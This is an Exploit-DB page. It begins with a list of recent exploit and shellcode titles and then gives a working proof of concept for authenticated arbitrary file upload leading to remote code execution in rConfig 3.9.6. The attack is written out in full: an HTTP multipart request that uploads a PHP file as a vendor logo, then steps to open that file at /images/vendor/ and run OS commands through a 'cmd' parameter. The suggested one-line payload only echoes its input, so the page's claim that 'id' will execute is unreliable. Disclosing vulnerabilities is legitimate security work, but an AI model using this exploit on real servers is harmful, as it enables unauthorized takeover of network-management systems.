
58 changes to exploits/shellcodes Yenkee Hornet Gaming Mouse - 'GM312Fltr.sys' Denial of Service (PoC) Easy CD & DVD Cover Creator 4.13 - Denial of Service (PoC) KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Device Reboot (Unauthenticated) ProFTPD 1.3.7a - Remote Denial of Service glFTPd 2.11a - Remote Denial of Service Hasura GraphQL 1.3.3 - Denial of Service Sticky Notes & Color Widgets 1.4.2 - Denial of Service (PoC) NBMonitor 1.6.8 - Denial of Service (PoC) Nsauditor 3.2.3 - Denial of Service (PoC) Sticky Notes Widget Version 3.0.6 - Denial of Service (PoC) Secure Notepad Private Notes 3.0.3 - Denial of Service (PoC) Post-it 5.0.1 - Denial of Service (PoC) Notex the best notes 6.4 - Denial of Service (PoC) SmartFTP Client 10.0.2909.0 - 'Multiple' Denial of Service (PoC) Redragon Gaming Mouse - 'REDRAGON_MOUSE.sys' Denial of Service (PoC) GeoGebra Graphing Calculator 6.0.631.0 - Denial Of Service (PoC) GeoGebra Classic 5.0.631.0-d - Denial of Service (PoC) GeoGebra CAS Calculator 6.0.631.0 - Denial of Service (PoC) Backup Key Recovery 2.2.7 - Denial of Service (PoC) memono Notepad Version 4.2 - Denial of Service (PoC) Disk Sorter Enterprise 13.6.12 - 'Disk Sorter Enterprise' Unquoted Service Path Cyberfox Web Browser 52.9.1 - Denial of Service (PoC) KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Hard coded Credentials Shell Access vsftpd 3.0.3 - Remote Denial of Service Dlink DSL2750U - 'Reboot' Command Injection PHPGurukul Hostel Management System 2.1 - Cross-site request forgery (CSRF) to Cross-site Scripting (XSS) Netsia SEBA+ 0.16.1 - Add Root User (Metasploit) Arteco Web Client DVR/NVR - 'SessionId' Brute Force Resumes Management and Job Application Website 1.0 - Authentication Bypass KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Command Injection (Authenticated) KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Authentication Bypass KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Remote Code Execution KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Factory Reset (Unauthenticated) KZTech/JatonTec/Neotel JT3500V 4G LTE CPE 2.0.1 - Config Download (Unauthenticated) 'customhs_js_content' - 'customhs_js_content' Cross-Site Request Forgery Regis Inventory And Monitoring System 1.0 - 'Item List' Persistent Cross-Site Scripting rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1) Mini Mouse 9.3.0 - Local File inclusion rconfig 3.9.6 - Arbitrary File Upload Sipwise C5 NGCP CSC - 'Multiple' Persistent Cross-Site Scripting (XSS) Rocket.Chat 3.12.1 - NoSQL Injection (Unauthenticated) OpenEMR 5.0.1.3 - Authentication Bypass VMware vCenter Server 7.0 - Remote Code Execution (RCE) (Unauthenticated) WordPress Plugin Supsystic Contact Form 1.7.18 - 'label' Stored Cross-Site Scripting (XSS) Patient Appointment Scheduler System 1.0 - Persistent Cross-Site Scripting Apartment Visitor Management System (AVMS) 1.0 - 'username' SQL Injection Budget and Expense Tracker System 1.0 - Authenticated Bypass Budget and Expense Tracker System 1.0 - Remote Code Execution (RCE) (Unauthenticated) FatPipe Networks WARP/IPVPN/MPVPN 10.2.2 - 'Add Admin' Cross-Site Request Forgery (CSRF) WordPress Plugin Select All Categories and Taxonomies 1.3.1 - Reflected Cross-Site Scripting (XSS) Blood Bank System 1.0 - Authentication Bypass Lodging Reservation Management System 1.0 - Authentication Bypass Atlassian Jira Server Data Center 8.16.0 - Arbitrary File Read Linux/x64 - /sbin/halt -p Shellcode (51 bytes) Linux/x86 - execve(/bin/sh) Shellcode (17 bytes) Linux/x64 - execve(/bin/sh) Shellcode (21 bytes) (2) Linux/x86 - execve /bin/sh Shellcode (fstenv eip GetPC technique) (70 bytes_ xor encoded) Windows/x86 - Bind TCP shellcode / Dynamic PEB & EDT method null-free Shellcode (415 bytes)
70 lines
No EOL
2.6 KiB
Text
70 lines
No EOL
2.6 KiB
Text
# Exploit Title: rConfig 3.9.6 - Arbitrary File Upload to Remote Code Execution (Authenticated) (1)
|
|
# Date: 2021-03-17
|
|
# Exploit Author: Murat ŞEKER
|
|
# Vendor Homepage: https://www.rconfig.com
|
|
# Software Link: https://www.rconfig.com/downloads/rconfig-3.9.6.zip
|
|
# Version: rConfig v3.9.6
|
|
# Install scripts :
|
|
# https://www.rconfig.com/downloads/scripts/install_rConfig.sh
|
|
# https://www.rconfig.com/downloads/scripts/centos7_install.sh
|
|
# https://www.rconfig.com/downloads/scripts/centos6_install.sh
|
|
# Tested on: centOS 7
|
|
# Notes : If you want to reproduce in your lab environment follow those links :
|
|
# http://help.rconfig.com/gettingstarted/installation
|
|
# then
|
|
# http://help.rconfig.com/gettingstarted/postinstall
|
|
|
|
# Description:
|
|
rConfig, the open source network device configuration management tool, is vulnerable to Arbitrary File Upload to RCE in /lib/crud/vendors.crud.php with parameter 'vendorLogo'.
|
|
|
|
The following steps can be carried out in duplicating this vulnerability.
|
|
|
|
- Login the rConfig application with your credentials.
|
|
- Repeat
|
|
|
|
POST /lib/crud/vendors.crud.php HTTP/1.1
|
|
Host: localhost
|
|
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36 root@5y4o1s35jvx342apl7392qrqxh3m7aw.burpcollaborator.net
|
|
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
|
|
Accept-Language: en-US,en;q=0.5
|
|
Accept-Encoding: gzip, deflate
|
|
Content-Type: multipart/form-data; boundary=---------------------------122590832918963661283831488254
|
|
Content-Length: 36619
|
|
Origin: https://localhost
|
|
Connection: close
|
|
Referer: http://4hmnkrm42ug2n1to46m8lpapggmlp9e.burpcollaborator.net/ref
|
|
Cookie: PHPSESSID=eafcfe393af7dc2a3dd9bd1ea0e9e49b
|
|
Upgrade-Insecure-Requests: 1
|
|
Cache-Control: no-transform
|
|
|
|
-----------------------------122590832918963661283831488254
|
|
Content-Disposition: form-data; name="vendorName"
|
|
|
|
thisisrce
|
|
-----------------------------122590832918963661283831488254
|
|
Content-Disposition: form-data; name="vendorLogo"; filename="file.php"
|
|
Content-Type: image/png
|
|
|
|
<?php phpinfo(); ?>
|
|
-----------------------------122590832918963661283831488254
|
|
Content-Disposition: form-data; name="add"
|
|
|
|
add
|
|
-----------------------------122590832918963661283831488254
|
|
Content-Disposition: form-data; name="editid"
|
|
|
|
|
|
-----------------------------122590832918963661283831488254--
|
|
|
|
|
|
|
|
- Than go to http(s)://<SERVER>/images/vendor/file.php
|
|
|
|
Note: The file.php can be accessed without valid credentials.
|
|
|
|
|
|
If you change the <?php phpinfo(); ?> to <?php echo $_GET["cmd"];?>
|
|
|
|
and navigate the http(s)://<SERVER>/images/vendor/file.php?cmd=id
|
|
|
|
The `id` command will execute on server. |